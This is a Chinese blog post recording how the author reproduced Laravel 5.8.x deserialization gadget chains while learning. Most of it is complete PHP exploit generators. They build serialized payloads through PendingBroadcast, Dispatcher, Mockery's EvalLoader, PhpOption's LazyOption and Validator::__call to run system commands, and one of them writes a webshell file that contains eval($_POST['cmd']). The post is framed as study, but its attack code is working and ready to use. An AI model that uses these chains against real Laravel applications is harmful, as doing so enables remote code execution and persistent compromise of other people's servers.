Laravel5.8.x / 8.5.9反序列化复现学习

最新推荐文章于 2024-04-30 22:21:30 发布

是juju

最新推荐文章于 2024-04-30 22:21:30 发布

阅读量330

点赞数 2

文章标签： web安全

本文链接：https://blog.csdn.net/weixin_48131172/article/details/119983832

版权

（一）5.8.x

参考：(感谢大佬这么好的资源)

https://blog.csdn.net/qq_38154820/article/details/117757896

首先搭环境，百度到心累呀

添加入口路由：

打开ps，直接定位到

laravel\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

的__destruct()：

$this->events和$this->event可控，令$this->events为调用dispatch()方法的某个类

空降

laravel\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

跟进dispatchToQueue()方法发现call_user_func()的调用：

$this->queueResolver可控，令$this->queueResolver='system';

再看$connection，往上追到$command；

$command要经过commandShouldBeQueued()方法检查，跟进到commandShouldBeQueued()

instanceof：

全局搜索调用ShouldQueue接口的类，随便确定一个（本菜鸡复现时选的是CallQueuedClosure）

现在就是令$command=new CallQueuedClosure(),且new CallQueuedClosure()中存在$connection为我们要执行的命令；

整体exp:

<?php
/**
 * Created by PhpStorm.
 * User: juju
 * Date: 2021/7/3
 * Time: 18:04
 */
namespace Illuminate\Broadcasting {

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }

    }
}

namespace Illuminate\Bus {

    class Dispatcher
    {
        protected $queueResolver = 'system';

    }
}

namespace Illuminate\Queue {

    class CallQueuedClosure
    {
        public $connection = 'whoami';
    }
}

//$command= new CallQueuedClosure();
//$command= new PendingBroadcast()->$event;
//$this->events=new Dispatcher();
namespace {
    $b = new Illuminate\Queue\CallQueuedClosure();
    $c = new Illuminate\Bus\Dispatcher();
    $a = new Illuminate\Broadcasting\PendingBroadcast($c,$b);
    echo urlencode(serialize($a));}

?>

直接get传c打过去：

真的长见识了。

下面这个也是基于上面链的变形，直接寻找执行eavl()的类，通过给call_user_func()第一个参数赋值数组，从而执行类中的具体方法；

定位到laravel\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php中

发现EvalLoader类：

class EvalLoader implements Loader
{
    public function load(MockDefinition $definition)
    {
        if (class_exists($definition->getClassName(), false)) {
            return;
        }
        eval("?>" . $definition->getCode());
    }
}

$definition为MockDefinition的类，跟进到MockDefinition中发现：

    public function getCode()
    {
        return $this->code;
    }//可控

    public function getClassName()
    {
        return $this->config->getName();
    }//$this->config可控

跟进getName()：

laravel\vendor\mockery\mockery\library\Mockery\Generator\MockConfiguration.php

也是返回了$this->name

那么让$this->config为MockConfiguration的类，其中$this->name为不存在的类名，即可通过laravel\vendor\mockery\mockery\library\Mockery\Loader\EvalLoader.php中的if检查：

if (class_exists($definition->getClassName(), false)) {
            return;
}//通过if，否则直接return,无法eval;

由上整理exp:

<?php
/**
 * Created by PhpStorm.
 * User: juju
 * Date: 2021/7/3
 * Time: 18:04
 */
namespace Illuminate\Broadcasting {
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace Illuminate\Bus {
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Queue {
    class CallQueuedClosure
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Mockery\Generator{
class MockDefinition
{
    protected $config;
    protected $code = '<?php echo `whoami`;?>';
    public function __construct($config)
    {
        $this->config = $config;
    }
}}
namespace Mockery\Generator{
class MockConfiguration
{
    protected $name = "afdgdafgadf";
}}
namespace Mockery\Loader{
class EvalLoader //implements Loader
{
    public function load($definition)
    {
    }
}}
namespace {
    $d = new Mockery\Generator\MockDefinition(new Mockery\Generator\MockConfiguration());
    $b = new Illuminate\Queue\CallQueuedClosure($d);
    $c = new Illuminate\Bus\Dispatcher(array(new Mockery\Loader\EvalLoader(),'load'));
    $a = new Illuminate\Broadcasting\PendingBroadcast($c,$b);
    echo urlencode(serialize($a));
}

执行whoami:

再下面是通过call_user_func_array()写shell

定位到laravel\vendor\phpoption\phpoption\src\PhpOption\LazyOption.php中：

option()中调用了call_user_func_array()，但是option()定义为private,无法直接利用，可以通过LazyOption类中若干方法节间调用option()；

参考中“利用跳板”的意思

<?php
/**
 * Created by PhpStorm.
 * User: juju
 * Date: 2021/7/4
 * Time: 10:30
 */

namespace Illuminate\Broadcasting {

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace Illuminate\Bus {
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Queue {
    class CallQueuedClosure
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}

namespace PhpOption{

final class LazyOption
{
    private $callback;

    private $arguments;
    public function __construct($callback,$arguments)
    {
        $this->callback = $callback;
        $this->arguments = $arguments;
    }
}}

namespace {
    $d = new PhpOption\LazyOption('file_put_contents',["shell.php", "<?php eval(\$_POST['cmd']) ?>"]);
    $b = new Illuminate\Queue\CallQueuedClosure('whoami');
    $c = new Illuminate\Bus\Dispatcher(array($d,'map'));
    $a = new Illuminate\Broadcasting\PendingBroadcast($c,$b);
    echo urlencode(serialize($a));
}
?>

打完后public目录下生成了shell.php

=========================================================================

第二条链主要是寻找类中不存在dispatch()但是有__call()的，这样调用类中不存在的dispatch()时便有调用__call()

在laravel\vendor\laravel\framework\src\Illuminate\Validation\Validator.php中

因为调用dispatch()，所以这里$method就是dispatch,所以$rule = Str::snake(substr($method, 8))返回为空''

跟进callExtension()

exp:

<?php
/**
 * Created by PhpStorm.
 * User: juju
 * Date: 2021/7/4
 * Time: 10:30
 */

namespace Illuminate\Broadcasting {

    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->event = $event;
            $this->events = $events;
        }
    }
}
namespace Illuminate\Bus {
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Queue {
    class CallQueuedClosure
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}


namespace Illuminate\Validation{


class Validator
{
     public $extensions = array(''=>'system');
}}

namespace {
    $d = new Illuminate\Validation\Validator();
    //$b = new Illuminate\Queue\CallQueuedClosure('whoami');
    //$c = new Illuminate\Bus\Dispatcher($d);
    $a = new Illuminate\Broadcasting\PendingBroadcast($d,'whoami');
    echo urlencode(serialize($a));
}
//不需要再通过new Illuminate\Queue\CallQueuedClosure('whoami')来传参，直接 $this->event = 'whoami'，到__call()方法中